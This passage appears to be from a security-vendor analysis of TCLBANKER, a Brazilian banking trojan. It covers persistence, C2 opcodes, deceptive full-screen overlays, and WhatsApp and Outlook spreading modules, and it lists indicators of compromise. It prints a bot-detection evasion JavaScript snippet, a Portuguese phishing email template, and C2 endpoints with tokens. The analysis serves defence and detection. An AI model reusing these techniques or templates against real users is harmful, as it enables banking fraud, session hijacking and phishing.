<li><code>dbeng.dll</code>, <code>dbgcore.dll</code>, <code>SbieDll.dll</code>, <code>snxhk.dll</code>, <code>cmdvrt32.dll</code>, <code>cmdvrt64.dll</code>, <code>cuckoomon.dll</code>, <code>pstorec.dll</code>, <code>vmcheck.dll</code>, <code>wpespy.dll</code></li>
</ul>
</li>
<li>Targets the following mutexes and events:
<ul>
<li><code>Ida_trusted_idbs</code>, <code>IDA_COMM_PIPE_</code>, <code>Local\\x64dbg</code>, <code>Local\\x32dbg</code>, <code>Frida</code>, <code>YOURAPPNAMEHERE</code></li>
</ul>
</li>
<li>Performs <code>CRC32</code> integrity check on the <code>.text</code> section to prevent any tampering</li>
</ul>
<h2>Banking Trojan Module</h2>
<p><code>Tcl.Agent</code> is a banking trojan, the main component of the chain. It is .NET Reactor-protected, and although we failed to deobfuscate it using available open-source tooling such as de4dot and NETReactorSlayer, we managed to statically deobfuscate this stage up to a satisfiable state using a custom deobfuscation pipeline to tackle .NET Reactor’s string encryption, control flow flattening, IL mutation, delegate proxies, and encrypted method bodies (Necrobit). Although it is a new malware, much of the code structure still follows ESET’s LATAM banking trojan <a href="https://web-assets.esetstatic.com/wls/2020/09/ESET_LATAM_financial_cybercrime.pdf">implementation blueprint</a>, published in 2020.</p>
<p>At start, the malware performs geofencing, requiring &gt;= 2 of the following indicators to match Brazil; otherwise, it exits immediately if not on a Brazilian machine:</p>
<table>
<thead>
<tr>
<th align="left">Check</th>
<th align="left">Implementation</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Region Code</td>
<td align="left">new RegionInfo(CultureInfo.CurrentCulture.LCID).TwoLetterISORegionName == &quot;BR&quot;</td>
</tr>
<tr>
<td align="left">Timezone</td>
<td align="left">TimeZoneInfo.Local.BaseUtcOffset.TotalHours: if &gt;= -5.0, check if == -2.0</td>
</tr>
<tr>
<td align="left">LCID</td>
<td align="left">CultureInfo.CurrentCulture.LCID == 1046 (Portuguese-Brazil)</td>
</tr>
<tr>
<td align="left">Keyboard</td>
<td align="left">GetKeyboardLayoutList() - check each layout: (ToInt32() &amp; 0xFFFF) == 1046</td>
</tr>
</tbody>
</table>
<h2>Installation and Persistence</h2>
<p>On the first run, the malware copies the entire application directory into <code>%LocalAppData%\LogiAI</code>. It computes a SHA-256 hash over all <code>.dll</code> and <code>.exe</code> files in the source directory and writes it to a <code>.version</code> marker file. On subsequent runs, it compares hashes to skip redundant copies. After copying, it launches the new instance from the install path and exits.</p>
<p>It creates a scheduled task named <code>RuntimeOptimizeService</code> using COM interop with the Task Scheduler (<code>CLSID 0F87369F-A4E5-4CFC-BD3E-73E6154572DD</code>). The task is configured as hidden, enabled, with no execution time limit, allowed on battery, start-when-available, and fires on a logon trigger (<code>type 9</code>) scoped to the current user. It registers with <code>TASK_CREATE_OR_UPDATE</code> and <code>TASK_LOGON_SERVICE_ACCOUNT</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image12.png" alt="Register task for persistence" title="Register task for persistence" /></p>
<p>After persistence is established, the agent sends a first-run POST beacon to <code>https://campanha1-api.ef971a42.workers[.]dev/api/installs</code> with the agentId (<code>MachineName-UserName</code>), MachineName, UserName (redundant), and the OS version. The request is authenticated with a hardcoded campaign authentication token <code>0d21613a-2609-45fc-83ff-d0feaa0c891f</code>. The newer variant adds debug logging around this call (<code>C:\temp\tcl-debug.txt</code>), a developer artifact that inadvertently exposes agent presence on disk.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image22.png" alt="Initial beacon to indicate successful installation" title="Initial beacon to indicate successful installation" /></p>
<h2>Self-Update</h2>
<p>The agent implements a hash-based self-update gate that runs early in the startup pipeline. It reads a local version hash from <code>flutter_engine.cfg</code> in its install directory (migrating from a legacy <code>version.hash</code> filename if present), then fetches the current hash from the file server endpoint <code>documents.ef971a42.workers[.]dev/api/version</code> using a truncated User-Agent string <code>(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36</code>.</p>
<p>The response is parsed for the &quot;hash&quot; key. If the remote hash matches the local hash, execution continues normally. On first install, the remote hash is written to disk, and execution proceeds without updating.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image6.png" alt="Self-update hash check against the file server" title="Self-update hash check against the file server" /></p>
<p>When a hash mismatch is detected, the agent downloads the update payload from <code>documents.ef971a42.workers[.]dev/api/update</code> as an MSI to <code>%TEMP%\update_{8hexchars}.msi</code>, authenticated with Bearer token <code>b7ba9e80-0d04-4d9e-b217-c8b3cce335a2</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image3.png" alt="Download updated payload" title="Download updated payload" /></p>
<p>The download is validated against a 100KB minimum size as a sanity check. The agent then writes a self-deleting batch script to <code>%TEMP%</code> that polls the tasklist until the current process exits, executes <code>msiexec /i /qn REINSTALLMODE=amus</code> for silent installation, and deletes itself. The batch file is launched via a hidden <code>cmd.exe</code> process before the agent terminates, handing off execution to the updated payload.</p>
<h2>Browser URL Monitor and C2 Session Initialization</h2>
<p>Every second, the malware agent calls a browser URL monitor function that reads the foreground browser's address bar via <a href="https://learn.microsoft.com/en-us/dotnet/framework/ui-automation/ui-automation-overview">UI Automation</a>. It calls <code>GetForegroundWindow</code>, resolves the owning process, checks the process name against Chrome, Firefox, Microsoft Edge, Brave, Opera, and Vivaldi, then uses <code>AutomationElement.FromHandle -&gt; FindFirst(Descendants, ControlType.Edit) -&gt; ValuePattern.Current.Value</code> to extract the URL, similar to this Stack Overflow <a href="https://stackoverflow.com/questions/5317642/retrieve-current-url-from-c-sharp-windows-forms-application/5318791#5318791">implementation</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image7.png" alt="Browser URL monitor via UI Automation" title="Browser URL monitor via UI Automation" /></p>
<p>The extracted URL is matched against a fixed list of targeted banks embedded in the binary, encoded via XOR with a 16-byte key and base64 encoding.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image31.png" alt="Encrypted bank/fintech/crypto domains" title="Encrypted bank/fintech/crypto domains" /></p>
<p>This <a href="https://gist.github.com/jiayuchann/e298effb68bd472c9e577a630d0ceb20">GitHub Gist</a> contains a list of 59 targeted domains, including Brazilian banking, fintech platforms, and cryptocurrency exchanges, grouped by the target IDs appended to each decrypted domain.</p>
<p>When a match hits, the domain target ID is passed to the next state, which initializes the official C2 communication by establishing a WebSocket connection to <code>wss://mxtestacionamentos[.]com/ws</code>. The <code>OnConnect</code> handler fires, sending a registration packet containing the agent ID (a random GUID at runtime), MachineName, UserName, machine info, timestamp, domain target ID (so the C2 knows which website the victim opened), and a signature.</p>
<p>To produce a handshake signature, HMAC-SHA256 is used to sign the victim identifier (agent ID, MachineName, UserName, OSVersion, timestamp) using the campaign GUID <code>70e4f943-e323-4484-97d7-35401bf6812c</code> as the key.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image27.png" alt="Signature generation for the session initialization handshake" title="Signature generation for the session initialization handshake" /></p>
<p>The server then responds with a registration acknowledgment, officially starting the session, and enters the command dispatch loop. At session start, a Task Manager killer is fired every 500ms to prevent the victim from inspecting or terminating the agent's process.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image24.png" alt="Killing Task Manager" title="Killing Task Manager" /></p>
<h2>C2 Command Table</h2>
<p>A capability summarization is described through the opcode table below:</p>
<table>
<thead>
<tr>
<th align="left">Opcode</th>
<th align="left">Purpose</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">2</td>
<td align="left">Registration ACK, start the Task Manager killer</td>
</tr>
<tr>
<td align="left">4</td>
<td align="left">Graceful WebSocket disconnect</td>
</tr>
<tr>
<td align="left">5</td>
<td align="left">Suicide: Kill all sibling processes and exit</td>
</tr>
<tr>
<td align="left">6</td>
<td align="left">Forced reboot (<code>shutdown.exe /r /t 0 /f</code>)</td>
</tr>
<tr>
<td align="left">7</td>
<td align="left">Suicide-then-Uninstall: kill all processes with the same host binary name except itself (siblings) → uninstall → exit</td>
</tr>
<tr>
<td align="left">16</td>
<td align="left">Screenshot</td>
</tr>
<tr>
<td align="left">17</td>
<td align="left">Start streaming the screen</td>
</tr>
<tr>
<td align="left">18</td>
<td align="left">Stop streaming the screen</td>
</tr>
<tr>
<td align="left">19</td>
<td align="left">Set screen capture quality (1-100)</td>
</tr>
<tr>
<td align="left">20</td>
<td align="left">Enumerate monitors</td>
</tr>
<tr>
<td align="left">32</td>
<td align="left">Mouse move (X, Y, MonitorIndex)</td>
</tr>
<tr>
<td align="left">33</td>
<td align="left">Mouse click through overlay: parse <code>{X,Y,Button,MonitorIndex}</code> → translate to absolute desktop coords → find the implant's own overlay window covering that point → punch a 2x2 region hole in the overlay at that pixel → <code>SetCursorPos</code> + <code>SendInput</code> mouse-down/up (which lands on whatever real desktop content is underneath the overlay).</td>
</tr>
<tr>
<td align="left">34</td>
<td align="left">Mouse scroll (Delta, <code>SendInput</code>)</td>
</tr>
<tr>
<td align="left">35</td>
<td align="left">Key tap (KeyCode, <code>SendInput</code>)</td>
</tr>
<tr>
<td align="left">37</td>
<td align="left">Key down (KeyCode, <code>SendInput</code>)</td>
</tr>
<tr>
<td align="left">38</td>
<td align="left">Key up (KeyCode, <code>SendInput</code>)</td>
</tr>
<tr>
<td align="left">39</td>
<td align="left">Start keylogger (<code>WH_KEYBOARD_LL</code> hook)</td>
</tr>
<tr>
<td align="left">40</td>
<td align="left">Flush keylogger, exfil to C2</td>
</tr>
<tr>
<td align="left">41</td>
<td align="left">Clipboard hijack (<code>Clipboard.SetText</code>)</td>
</tr>
<tr>
<td align="left">48</td>
<td align="left">File system directory listing</td>
</tr>
<tr>
<td align="left">65</td>
<td align="left">Get running processes information</td>
</tr>
<tr>
<td align="left">67</td>
<td align="left">Shell command execution (<code>cmd.exe /c</code>)</td>
</tr>
<tr>
<td align="left">80</td>
<td align="left">Enumerate all visible windows</td>
</tr>
<tr>
<td align="left">81</td>
<td align="left">Window manager: Kill process of a window / minimize window / restore window / bring window to foreground / close window / move window to another monitor</td>
</tr>
<tr>
<td align="left">83</td>
<td align="left">Show stall overlay: either progress-steps or fake Windows Update screen</td>
</tr>
<tr>
<td align="left">84</td>
<td align="left">Teardown overlay</td>
</tr>
<tr>
<td align="left">85</td>
<td align="left">Toggle screen capture immunity. Enables/disables <code>WDA_EXCLUDEFROMCAPTURE</code> on all overlay windows to hide them from screen sharing / screenshots.</td>
</tr>
<tr>
<td align="left">86</td>
<td align="left">Refresh overlay content</td>
</tr>
<tr>
<td align="left">87</td>
<td align="left">Show cutout overlay: pin external window inside overlay with visible region cutout</td>
</tr>
<tr>
<td align="left">96</td>
<td align="left">Show credential prompt overlay</td>
</tr>
</tbody>
</table>
<h2>Social Engineering UI Framework</h2>
<p>A more interesting capability of the banking trojan is a <a href="https://learn.microsoft.com/en-us/dotnet/desktop/wpf/overview/">WPF-based</a> full-screen overlay subsystem that orchestrates bank-themed fraud flows during active C2 sessions.</p>
<h3>Overlay Lifecycle</h3>
<p>The overlay manager spawns one full-screen WPF window per monitor. Windows are configured as borderless, topmost, and hidden from the taskbar (<code>WindowStyle.None</code>, <code>Topmost = true</code>, <code>ShowInTaskbar = false</code>), with a custom <code>Closing</code> handle that refuses dismissal until an internal flag is flipped by the operator through the overlay teardown command, preventing the windows from being closed.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image16.png" alt="Social engineering overlay settings" title="Social engineering overlay settings" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image5.png" alt="Overlay window close prevention" title="Overlay window close prevention" /></p>
<p>At startup, the manager captures a PNG screenshot of every display via <code>CopyFromScreen</code> as the overlay backdrop, creating a “frozen desktop” look. Depending on the currently active overlay, the victim perceives their real desktop environment behind it.</p>
<p>A <code>500ms</code> timer continuously reapplies <code>HWND_TOPMOST</code> via <code>SetWindowPos</code> to defeat any window attempting to surface above the overlay.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image14.png" alt="Overlay &quot;always on top&quot; setting" title="Overlay &quot;always on top&quot; setting" /></p>
<p>In addition, an anti-capture feature calls <code>SetWindowDisplayAffinity</code> with <code>WDA_EXCLUDEFROMCAPTURE</code>, rendering the overlay invisible to any screen-capturing tools, allowing the operator to see through their own overlay through the screenshot and screenstreaming commands.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image17.png" alt="Disable screen capture to detect overlays" title="Disable screen capture to detect overlays" /></p>
<h3>Input Blocker</h3>
<p>On the primary monitor, two hooks are installed: <code>WH_KEYBOARD_LL</code> and <code>WH_MOUSE_LL</code>. Both hooks check their respective injected flags (<code>LLKHF_INJECTED</code> for keyboard, <code>LLMHF_INJECTED</code> for mouse), allowing input injected via <code>SendInput</code> by the operator’s remote commands to pass through untouched. The keyboard hook swallows Tab, Escape, Alt+F4, Win keys, PrintScreen, Ctrl, Alt, and all navigation keys; the mouse hook blocks right-click, middle-click, and scroll, but allows left-click and movement, so the victim can still interact with the overlay prompts.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image8.png" alt="Input blocker initialization and hook function for blocking mouse input" title="Input blocker initialization and hook function for blocking mouse input" /></p>
<h3>Social Engineering UI Builders</h3>
<p>Five interchangeable content renderers plug into the overlay framework:</p>
<p>Credential Prompt: Supports three input modes, selected based on the operator's request parameters.</p>
<ul>
<li>Phone mode applies real-time Brazilian format masking ((##) ####-#### for 10-digit landlines, (##) #####-#### for 11-digit mobiles) with max 11 digits.</li>
<li>Virtual keypad mode renders an on-screen numeric keypad (buttons 0–9 plus &quot;limpar&quot;/clear), displaying input as bullet characters to mimic PIN entry.</li>
<li>Default mode accepts plain text with a configurable max length.</li>
</ul>
<p>All modes run input through a quality validator that algorithmically rejects same-digit sequences (<code>000000</code>) and ascending/descending runs (<code>123456</code>, <code>654321</code>) to prevent victims from entering throwaway values.</p>
<p>The submit action fires the captured values to the C2.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image21.png" alt="User-entered values for Credential Prompt sent to C2" title="User-entered values for Credential Prompt sent to C2" /></p>
<p>Vishing Wait Screen: Triggers after the victim submits their phone number in the credential prompt. Displays &quot;Estamos entrando em contato&quot; (&quot;We are getting in touch&quot;) with a central image “breathing” animation and three dots with staggered opacity animations (<code>300ms</code> offset per dot) producing a &quot;connecting&quot; visual. The operator or an accomplice can then call the victim's real phone, impersonating bank security staff.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image20.png" alt="Displayed text on Vishing Wait Screen" title="Displayed text on Vishing Wait Screen" /></p>
<p>Progress Steps: A fully operator-templated stall screen displaying a list of fake processing steps with a randomized animation. Step durations are randomized to total approximately 15 minutes. A timer advances through each step sequentially, visually marking completed steps, highlighting the current one, and dimming the remaining ones. When all steps are complete, the sequence resets to an earlier position with new randomized timings and continues.</p>
<p>Fake Windows Update: An alternative stall screen mimicking the Windows 10/11 update-restart screen. Renders a solid <code>#0078D7</code> (Windows accent blue) background with a five-ellipse spinning indicator arranged in a circle. A percentage readout jumps by a random 25–35% at randomly selected 50–81-second intervals to mimic the irregular progress behavior of real Windows Updates. Default subtitle: &quot;Trabalhando em atualizacoes&quot; (&quot;Working on updates&quot;).</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image35.png" alt="Windows &quot;Working on Updates&quot; stall overlay" title="Windows &quot;Working on Updates&quot; stall overlay" /></p>
<p>Cutout Overlay: Cuts a rectangular hole in the full-screen overlay, exposing the underlying application window. The operator specifies hole dimensions via opcode 87, in which the overlay manager builds a themed card with a transparent-border placeholder, computes its screen coordinates post-layout, and cuts a matching region hole using <code>CreateRectRgn + CombineRgn(RGN_DIFF) + SetWindowRgn</code>. The target window is repositioned underneath the hole. The result is a real application window framed within the overlay, and the victim interacts with the actual application while the surrounding overlay provides deceptive context.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image34.png" alt="Window Region hole cutting to support Cutout Overlays" title="Window Region hole cutting to support Cutout Overlays" /></p>
<h2>Worm module</h2>
<p>The second module invoked by the loader is <code>Tcl.WppBot</code>, is designed to propagate spam and phishing messages at scale, to distribute TCLBANKER. Two distinct agent types were recovered from two different loaders and analyzed:</p>
<ul>
<li>A WhatsApp worm that hijacks browser sessions</li>
<li>An Outlook email bot that abuses Microsoft Outlook through COM interop</li>
</ul>
<p><code>Tcl.WppBot</code> is also .NET Reactor-protected with the same version used to protect <code>Tcl.Agent</code>, and so we also managed to statically deobfuscate payloads in this stage.</p>
<p>Both agents share the same C2 backend, authentication credentials, and operational infrastructure. The C2 URL and API key are decrypted at startup using XOR decryption with a hardcoded key.</p>
<ul>
<li>C2 URL: <code>campanha1-api.ef971a42.workers[.]dev</code> (Cloudflare Workers app)</li>
<li>API key / Bearer token: <code>0d21613a-2609-45fc-83ff-d0feaa0c891f</code></li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image29.png" alt="Encrypted C2 and API key" title="Encrypted C2 and API key" /></p>
<p>The C2 serves a single superset campaign configuration object via the <code>https://campanha1-api.ef971a42.workers[.]dev/api/campaign</code> endpoint. Each agent variant deserializes the full object but only reads the fields relevant to its channel.</p>
<p>Captured configuration:</p>
<pre><code>message            : Ola tudo bem?
                     Preciso de um orÃ§amento, estarei encaminhado caso tenha os produtos por favor me retorne para
                     darmos continuidade no atendimento.

                     https://arquivos-omie[.]com ð

                     âï¸*IMPORTANTE*: Este orÃ§amento foi otimizado para visualizaÃ§Ã£o em Computadores Desktop,
                     pois o mesmo necessita de visualizador de excel, word ou pdf.
fileUrl            : https://documents.ef971a42.workers[.]dev/file
delayMin           : 1
delayMax           : 3
maxPerSession      : 3000
updatedAt          : 2026-04-17T15:54:07.003Z
type               : gmail
subject            : Prezado(a), NFe disponÃ­vel para impressÃ£o
emailMessage       : &lt;!DOCTYPE html&gt;
                     &lt;html lang=&quot;pt-BR&quot;&gt;
                     &lt;head&gt;
                         &lt;meta charset=&quot;UTF-8&quot;&gt;
                         &lt;title&gt;Nota Fiscal DisponÃ­vel&lt;/title&gt;
                         &lt;style&gt;
                             body {
                                 font-family: Arial, sans-serif;
                                 margin: 20px;
                                 padding: 0;
                                 text-align: center;
                                 background-color: #f4f4f4; /* Cor de fundo mais clara */
                                 color: #333; /* Cor do texto ajustada para ser visÃ­vel */
                             }
                             h1 {
                                 font-size: 24px;
                                 margin-bottom: 20px;
                                 font-weight: normal; /* TÃ­tulo sem negrito */
                             }
                             p {
                                 font-size: 16px;
                                 margin-bottom: 20px;
                                 line-height: 1.6;
                                 color: #333; /* Garantir que o texto esteja visÃ­vel */
                             }
                             .btn {
                                 background-color: #007BFF;
                                 color: #fff;
                                 padding: 10px 20px;
                                 border: none;
                                 border-radius: 5px;
                                 cursor: pointer;
                             }
                             .btn:hover {
                                 background-color: #0056b3;
                             }
                         &lt;/style&gt;
                     &lt;/head&gt;
                     &lt;body&gt;

                         &lt;h1&gt;Prezado(a)&lt;/h1&gt;
                         &lt;p&gt;
                             Sua Nota Fiscal EletrÃ´nica (NFe) estÃ¡ disponÃ­vel e pronta para ser acessada.
                             Para facilitar, basta clicar no botÃ£o abaixo para abrir o documento.
                         &lt;/p&gt;

                         &lt;p&gt;
                             Caso tenha alguma dÃºvida sobre os detalhes da nota ou precise de alguma alteraÃ§Ã£o, por
                     favor, entre em contato conosco.
                         &lt;/p&gt;

                         &lt;a href=&quot;https://arquivos-omie[.]com&quot; target=&quot;_blank&quot;&gt;
                             &lt;button class=&quot;btn&quot;&gt;Abrir Nota Fiscal&lt;/button&gt;
                         &lt;/a&gt;

                         &lt;p&gt;
                             Agradecemos pela confianÃ§a e ficamos Ã  disposiÃ§Ã£o para qualquer outra necessidade.
                         &lt;/p&gt;

                     &lt;/body&gt;
                     &lt;/html&gt;
emailDelayMin      : 30
emailDelayMax      : 90
emailMaxPerSession : 100
</code></pre>
<p>The same Cloudflare account <code>ef971a42</code> also hosts the payload delivery CDN (domain for <code>fileUrl</code> in the configuration object) at <code>documents.ef971a42.workers[.]dev</code>. Accessible through the <code>/file</code> endpoint, it currently serves a zip file containing the TCLBANKER-trojanized LogiAI Prompt Builder MSI. This infrastructure decision allows the operator to rapidly redeploy infrastructure without maintaining dedicated servers.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image38.png" alt="Zip file containing TCLBANKER grabbed from the file server" title="Zip file containing TCLBANKER grabbed from the file server" /></p>
<p>As of the time of writing, the phishing domain <code>arquivos-omie[.]com</code> identified in the configuration above, created on 2026-04-15, is not at an operable state (Welcome! This portal is currently undergoing scheduled maintenance. Please try again later.) The campaign could be in its early operational stages or staged for tasking. This domain is also named to impersonate a popular Brazilian Enterprise Resource Planning (ERP) suite.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image26.png" alt="Phishing page under maintenance" title="Phishing page under maintenance" /></p>
<h2>Agent 1: WhatsApp Bot</h2>
<p>The WhatsApp agent silently takes over the victim’s authenticated WhatsApp Web session to send spam messages and distribute TCLBANKER to Brazilian contacts.</p>
<h3>Session Hijacking</h3>
<p>The malware starts by discovering Chromium-based browsers on the target system, then scanning both the <code>App Paths</code> registry entries and common installation directories for Chrome, Edge, Brave, Opera, and Vivaldi. It then walks each browser's user profiles (e.g., &quot;Default,&quot; &quot;Profile 1,&quot; etc.), looking for evidence of an active WhatsApp Web session. A profile is flagged as having an authenticated session if its IndexedDB storage contains the WhatsApp Web LevelDB directory at <code>&lt;profile_dir&gt;/IndexedDB/https_web.whatsapp[.]com_0.indexeddb.leveldb/</code>.</p>
<p>Then each profile is sent to the profile-cloning and session-hijacking function.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image10.png" alt="WhatsApp Web profile cloning and session hijacking" title="WhatsApp Web profile cloning and session hijacking" /></p>
<p>For each qualifying profile, the malware clones it to a temporary directory at <code>%TEMP%\&lt;GUID&gt;\</code>, copying only the files needed to resume the WhatsApp Web session: <code>IndexedDB</code>, <code>Local Storage</code>, <code>Session Storage</code>, <code>databases</code>, <code>Web Data</code>, <code>Login Data</code>, and <code>Cookies</code>. It then launches a headless Chromium instance via Selenium WebDriver, with <code>--user-data-dir</code> pointing at the cloned profile.</p>
<p>The matching <code>chromedriver.exe</code> is resolved at runtime by a disguised Selenium Manager binary dropped at <code>%TEMP%\msvc-rt14\bin\hostfxr.exe</code>, which is invoked with <code>--browser chrome --output json</code> and returns the path of a chromedriver compatible with the victim's installed Chrome version.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image36.png" alt="Chromedriver path resolved" title="Chromedriver path resolved" /></p>
<p>Immediately after launch, the malware injects JavaScript to bypass bot-detection frameworks by hiding <code>navigator.webdriver</code>, populates <code>chrome.runtime</code>, reconciles the <code>Notification.permission</code> / <code>permissions.query</code> state mismatch, fakes a non-empty <code>navigator.plugins</code> array, and sets <code>navigator.languages</code> to <code>['pt-BR', 'pt', 'en-US', 'en']</code> to match the target demographic.</p>
<pre><code>Object.defineProperty(navigator, 'webdriver', {
    get: () = &gt; undefined 
}

);
delete navigator.__proto__.webdriver;
if (window.chrome)  {
    window.chrome.runtime = window.chrome.runtime || {};
}

const origQuery = window.navigator.permissions.query;
window.navigator.permissions.query = (p) = &gt; (
p.name ==  = 'notifications' ?
Promise.resolve( {
    state: Notification.permission 
}

) :
origQuery(p)
);
Object.defineProperty(navigator, 'plugins', {
    get: () = &gt; [1, 2, 3, 4, 5], }

);
Object.defineProperty(navigator, 'languages', {
    get: () = &gt; ['pt-BR', 'pt', 'en-US', 'en'], }

);
window.navigator.chrome = {
    runtime: {}

};
</code></pre>
<p>With the cloned profile loaded, the browser navigates to <code>web.whatsapp[.]com</code>, and the malware waits up to 45 seconds to observe the resulting page state. If the chat interface appears (the cloned IndexedDB was valid and the session resumed without a QR scan), it injects an embedded WA-JS (<a href="https://github.com/wppconnect-team/wppconnect">WPPConnect</a>) library and waits for <code>WPP.contact.list</code> and <code>WPP.chat.sendTextMessage</code> to become callable before starting the campaign dispatch loop. If the QR code prompt is shown instead, the engine returns <code>&quot;qr_code&quot;</code> without attempting injection, then tries the next candidate profile.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image23.png" alt="Attempt to load WhatsApp session that does not require QR code verification" title="Attempt to load WhatsApp session that does not require QR code verification" /></p>
<h3>Spam Functionality</h3>
<p>Once the injection succeeds, the malware retrieves the active campaign from the C2 endpoint <code>https://campanha1-api.ef971a42.workers[.]dev/api/campaign</code>, which supplies the message body, optional attachment URL, caption, and timing parameters. TCLBANKER is then downloaded from the file server at <code>https://documents.ef971a42.workers[.]dev/file</code> and reconstructed in the browser context as a <a href="https://developer.mozilla.org/en-US/docs/Web/API/File/File">File object</a>, without being dropped to disk.</p>
<p>The malware then calls <code>WPP.contact.list</code> to harvest the victim's address book, filters out groups, broadcasts, and non-Brazilian numbers, and begins dispatching messages through <code>WPP.chat.sendTextMessage</code> and <code>sendFileMessage</code>. The malware reports progress to the C2 endpoint <code>/api/progress</code> after each batch, and polls <code>/api/control</code> for remote pause or resend commands from the operator.</p>
<h2>Agent 2: Outlook Email Bot</h2>
<p>The Outlook agent is an email spambot that abuses the victim’s installed Microsoft Outlook application to send phishing emails from the victim’s email address, making them harder to detect as spam than emails sent from attacker-controlled infrastructure.</p>
<h3>Outlook Discovery &amp; COM Attachment</h3>
<p>If <code>OUTLOOK.EXE</code> is not already running, it attempts to locate the installation in <code>App Paths</code> registry entries and known installation directories and launches it in a new process. The malware then attaches to the process via COM interop: <a href="https://learn.microsoft.com/en-us/office/vba/outlook/how-to/security/obtain-and-log-on-to-an-instance-of-outlook"><code>Marshal.GetActiveObject(&quot;Outlook.Application&quot;)</code></a>, and validates that it has at least one email account configured.</p>
<h3>Contact Harvesting</h3>
<p>The malware then drops a PowerShell script, <code>%TEMP%\oc&lt;guid&gt;.ps1,</code> that harvests contacts via Outlook COM from a separate process. It harvests contacts from two sources: first, it reads the default Contacts folder for all contact entries, extracting email addresses and full names from each contact item. Second, it iterates every store’s root folders to find inbox-like folders, sorts inbox messages by latest, and extracts sender email addresses and names before writing them to a <code>.txt</code> file in <code>email|name</code> format.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image25.png" alt="Outlook contact harvesting for potential spam victims" title="Outlook contact harvesting for potential spam victims" /></p>
<p>For each candidate email, additional filtering is done to maximize deliverability.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/tclbanker-brazilian-banking-trojan/image37.png" alt="Code related to filtering potential spam victim emails" title="Code related to filtering potential spam victim emails" /></p>
<h3>Spam Functionality</h3>
<p>Similar to the WhatsApp bot, the malware retrieves the active campaign from <code>https://campanha1-api.ef971a42.workers[.]dev/api/campaign</code>, then sends emails through the victim's own Outlook accounts via COM automation. Each email is constructed via <code>outlookApp.CreateItem(0)</code> (<code>MailItem</code>) with the recipient in <code>To</code>, the campaign subject line, and the campaign content <code>emailMessage</code>, sent using the victim's actual account via <code>SendUsingAccount</code>.</p>
<p>Between sends, the agent applies a randomized delay and periodically checks the C2 control endpoint <code>/api/control</code> for pause or resend commands, and reports progress to <code>/api/progress</code>.</p>
<h2>Infrastructure</h2>
<p>The REF3076 actors have leveraged the <code>worker[.]dev</code> Cloudflare Serverless infrastructure for C2 and file hosting. This decision allows them to inherit any trust victims might already have in Cloudflare and to rotate infrastructure quickly as needed.</p>
<p>Pivoting on the body-hash (<code>91fafaa1240676afe5c55d931261e3798797c408</code>) of the phishing site above (<code>arquivos-omie[.]com</code>), we were able to identify additional domains that are likely being prepared for weaponization:</p>
<table>
<thead>
<tr>
<th align="left">Domain</th>
<th align="left">First Seen</th>
<th align="left">Info</th>
<th align="left">ASN (Providor)</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">arquivos-omie[.]com</td>
<td align="left">2026-04-17</td>
<td align="left">Squatting - Brazilian SaaS for SMBs</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
<tr>
<td align="left">documentos-online[.]com</td>
<td align="left">2026-04-11</td>
<td align="left">Generic</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
<tr>
<td align="left">afonsoferragista[.]com</td>
<td align="left">2026-04-22</td>
<td align="left">Hardware store - Likely used in a B2B lure</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
<tr>
<td align="left">doccompartilhe[.]com</td>
<td align="left">2026-04-15</td>
<td align="left">Generic - “Shared a document”</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
<tr>
<td align="left">recebamais[.]com</td>
<td align="left">2026-04-20</td>
<td align="left">Squatting - Brazilian credit/loan brokerage</td>
<td align="left">AS 13335 (Cloudflare)</td>
</tr>
</tbody>
</table>
<p>More Brazilian phishing infrastructure was discovered after a broader pivot in the banner title (<code>Portal</code> <code>Corporativo</code>), but it’s unclear whether it was directly related to REF3076 or to other actors in the Latin American banking trojan ecosystem. Notably, one cluster leveraged the Cloudflare <code>pages[.]dev</code> free static-site hosting product.</p>
